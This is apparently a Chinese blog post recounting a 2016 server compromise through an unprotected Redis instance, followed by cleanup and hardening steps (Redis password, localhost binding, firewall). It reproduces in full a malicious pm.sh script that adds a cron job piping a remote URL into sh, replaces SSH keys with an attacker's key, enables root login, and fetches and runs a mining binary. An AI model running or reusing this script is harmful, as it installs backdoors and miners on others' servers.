收到阿里云方面的重要的警告邮件。(注意时间2016年10月3日。与后续被黑记录排查有关)
当时并没有在意,以为是Wordpress漏洞引起的恶意发包。因为之前手机经常收到如下短信。如下:
【阿里云】尊敬的用户:您的服务器 139.129.XX.XX 存在wordpress WP_Image_Editor_Imagick 指令注入漏洞,已为您准备补丁可一键修复漏洞,为避免被黑客入侵,建议您登录云盾-服务器安全(安骑士)控制台,进行查看和处理,同时建议您在控制台使用安全巡检功能对服务器进行全面检查。
直到2016年10月22日。公司的官网和市场活动页面无法打开。我去阿里云控制台发现服务器已被停止。当时以为服务器快到期,被停了。
立马续费,然后重启成功。官网等页面可以访问了。不过没过多久,页面又无法访问了。我查看阿里云后台,发现服务器又被停了。
我尝试重启了几次,每次都提示启动成功。但都发现,没过多久就被停了。我勒个去!
在与阿里云客服沟通后,提交了工单。阿里售后工程师在一小时内给出了如下解决:
看到这里,说真的好慌。基本可以确定是被黑了。
排查
下面是对整个服务器被黑记录的排查。毕竟要知道是因为什么被黑进来的。
crontab -l
查看当前的计划任务。如下:
如图,看到了 1 分钟重启的计划任务。就是这个计划任务,导致服务器重启成功后,又总是立马停止了。
我去到日志目录下,发现有个10月2号的计划任务日志。
less cron-20161002
查看一下这个日志如下:
一下子发现有大量 curl 抓取的记录。
我试着在浏览器访问 http://r.chanstring.com/pm.sh?0706 这个地址,下载到一个 pm.sh 的文件。脚本内容如下:
export PATH=$PATH:/bin:/usr/bin:/usr/local/bin:/usr/sbin
echo "*/10 * * * * curl -fsSL http://r.chanstring.com/pm.sh?103 | sh" > /var/spool/cron/root
mkdir -p /var/spool/cron/crontabs
echo "*/10 * * * * curl -fsSL http://r.chanstring.com/pm.sh?103 | sh" > /var/spool/cron/crontabs/root
if [ ! -f "/root/.ssh/KHK75NEOiq" ]; then
mkdir -p ~/.ssh
rm -f ~/.ssh/authorized_keys*
echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCzwg/9uDOWKwwr1zHxb3mtN++94RNITshREwOc9hZfS/F/yW8KgHYTKvIAk/Ag1xBkBCbdHXWb/TdRzmzf6P+d+OhV4u9nyOYpLJ53mzb1JpQVj+wZ7yEOWW/QPJEoXLKn40y5hflu/XRe4dybhQV8q/z/sDCVHT5FIFN+tKez3txL6NQHTz405PD3GLWFsJ1A/Kv9RojF6wL4l3WCRDXu+dm8gSpjTuuXXU74iSeYjc4b0H1BWdQbBXmVqZlXzzr6K9AZpOM+ULHzdzqrA3SX1y993qHNytbEgN+9IZCWlHOnlEPxBro4mXQkTVdQkWo0L4aR7xBlAdY7vRnrvFav root" > ~/.ssh/KHK75NEOiq
echo "PermitRootLogin yes" >> /etc/ssh/sshd_config
echo "RSAAuthentication yes" >> /etc/ssh/sshd_config
echo "PubkeyAuthentication yes" >> /etc/ssh/sshd_config
echo "AuthorizedKeysFile .ssh/KHK75NEOiq" >> /etc/ssh/sshd_config
/etc/init.d/sshd restart
fi
if [ ! -f "/etc/init.d/ntp" ]; then
if [ ! -f "/etc/systemd/system/ntp.service" ]; then
mkdir -p /opt
curl -fsSL http://r.chanstring.com/v51/lady_`uname -m` -o /opt/KHK75NEOiq33 && chmod +x /opt/KHK75NEOiq33 && /opt/KHK75NEOiq33 -Install
fi
fi
/etc/init.d/ntp start
ps auxf|grep -v grep|grep "/usr/bin/cron"|awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "/opt/cron"|awk '{print $2}'|xargs kill -9
# ps auxf|grep -v grep|grep "/usr/sbin/ntp"|awk '{print $2}'|xargs kill -9
我曹。这么给力的脚本怎么能不分析一下:
echo "*/10 * * * * curl -fsSL http://r.chanstring.com/pm.sh?103 | sh" > /var/spool/cron/root
上面这行脚本,输出一个 每十分钟抓取指定链接 的脚本到 /var/spool/cron/root 文件。
接下来这段精彩了,一个免密钥登录的脚本:
if [ ! -f "/root/.ssh/KHK75NEOiq" ]; then
mkdir -p ~/.ssh
rm -f ~/.ssh/authorized_keys*
echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCzwg/9uDOWKwwr1zHxb3mtN++94RNITshREwOc9hZfS/F/yW8KgHYTKvIAk/Ag1xBkBCbdHXWb/TdRzmzf6P+d+OhV4u9nyOYpLJ53mzb1JpQVj+wZ7yEOWW/QPJEoXLKn40y5hflu/XRe4dybhQV8q/z/sDCVHT5FIFN+tKez3txL6NQHTz405PD3GLWFsJ1A/Kv9RojF6wL4l3WCRDXu+dm8gSpjTuuXXU74iSeYjc4b0H1BWdQbBXmVqZlXzzr6K9AZpOM+ULHzdzqrA3SX1y993qHNytbEgN+9IZCWlHOnlEPxBro4mXQkTVdQkWo0L4aR7xBlAdY7vRnrvFav root" > ~/.ssh/KHK75NEOiq
echo "PermitRootLogin yes" >> /etc/ssh/sshd_config
echo "RSAAuthentication yes" >> /etc/ssh/sshd_config
echo "PubkeyAuthentication yes" >> /etc/ssh/sshd_config
echo "AuthorizedKeysFile .ssh/KHK75NEOiq" >> /etc/ssh/sshd_config
/etc/init.d/sshd restart
fi
大概的意思就是,可以无需密码,直接ssh远程登录服务器。
定因百度以后,发现这个攻击是 Redis无密码可远程写入文件漏洞 造成的。
查看/root/.ssh/下确实能看到SSH登录密钥文件。并且在redis里可以查到一个莫名的键值对。
另外top可以看到一个minerd 程序把cpu跑满了:
参考:
参考链接(貌似这个链接被封了,因为文章里演示了如何生成ssh无密钥登陆的方法。)
彻底清除Linux centos minerd木马
因为查看到多个文件夹被各种未知文件污染。决定选择直接初始化服务器。
重点重新配置了如下项目:
1.增加redis授权访问密码
vim /usr/local/redis/etc/redis.conf
找到 requirepass,取消注释,并设置授权登陆的密码。
requirepass 你的密码
2.更改redis为绑定端口为 127.0.0.1
找到 bind 127.0.0.1,取消注释。这样子只能本地才可访问redis。
bind 127.0.0.1
后续
服务器上的redis的监听一直是这样的,为什么最近会受到攻击呢?原因始于我做业务时,关闭了防火墙。
以后千万不能轻易关闭防火墙。
另外,在配置好服务器的一些参数后。我在阿里云的后台,生成了一条磁盘快照。作为备份。
下面是一些iptables的命令。记录一下,接下来自己会再详细了解。
service iptables status
service iptables start
service iptables stop
service iptables save
vim /etc/sysconfig/iptables
热门评论
厉害了我的哥,大牛啊
我服务器也是时不时被攻击,感觉分析到位。马了回去PC看